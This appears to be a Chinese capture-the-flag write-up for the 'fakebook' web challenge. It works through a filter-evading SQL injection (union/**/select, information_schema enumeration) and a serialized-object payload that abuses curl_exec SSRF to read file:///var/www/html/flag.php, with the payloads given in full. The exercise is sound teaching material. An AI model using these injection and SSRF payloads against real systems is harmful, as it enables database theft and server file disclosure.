提示让我们注册一个账号,这里随便注册,注意一下blog的格式就行。
然后用我们注册好的账号进行登录。
登录后发现url 为 http://111.198.29.45:33988/view.php?no=1 ,第一时间想到是否存在sql注入,我们输入 ’
根据报错的显示,可以肯定存在sql注入的,然后我们用 order by 语句判断查询的字段数目,以便于后续进行 union 查询,
先 输入 1 order by 6# ,查询失败。
然后我们再输入 1 order by 4 # ,此时页面显示正常,由此判断查询的字段数为4。
获得了字段数,我们就进行union联合查询,尝试输入 1 union select 1,database(),1,1 #
页面返回 no hack _,很明显应该是后端检测到我们的注入关键词。
这里我们猜测它检测到的可能是 union select,我们尝试用/**/进行绕过,
在mysql中 //插入到sql语句中既可以当注释,也可以当空格,所以这里我们构造 -1 union//select 1,database(),1,1 #,
当然也可采用: 果然能够绕过成功,得到当前的数据库名为fakebook,那么我们以同样的方法获取其他数据:
获取表名:
-1 union/**/select 1,group_concat(table_name),1,1 from information_schema.tables where table_schema='fakebook'#
-1 union/**/select 1,group_concat(column_name),1,1 from information_schema.columns where table_name='users'#
-1 union/**/select 1,data,1,1 from users #
这里发现data字段里面的值为我们开始注册是输入的信息,它将这些信息进行了序列化并存储在数据库中,然后当我们查询的时候再反序列化显示在前端。
3.开头我们扫描出了 robots.txt文件,那我们就访问看看。再根据提示打开user.php.bak,发现了如下代码:
通过这段代码可以知道,这个函数会读取blog,然后访问它,如果访问成功则会读取文件的信息,否则返回404,
所以我们可以通过反序列化来实现ssrf读取任意文件,构造我们想要的路径,然后为了绕过正则,不从注册登录的地方下手,
直接人为构造联合查询返回语句,data字段在第四个位置。
构造如下:
curl_exec函数存在ssrf。通过注入反序列化利用ssrf读取任意文件。
view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
注册成功后它就会显示你注册的账户信息,然后查看源码,如下图,点击iframe的src属性值即可获得flag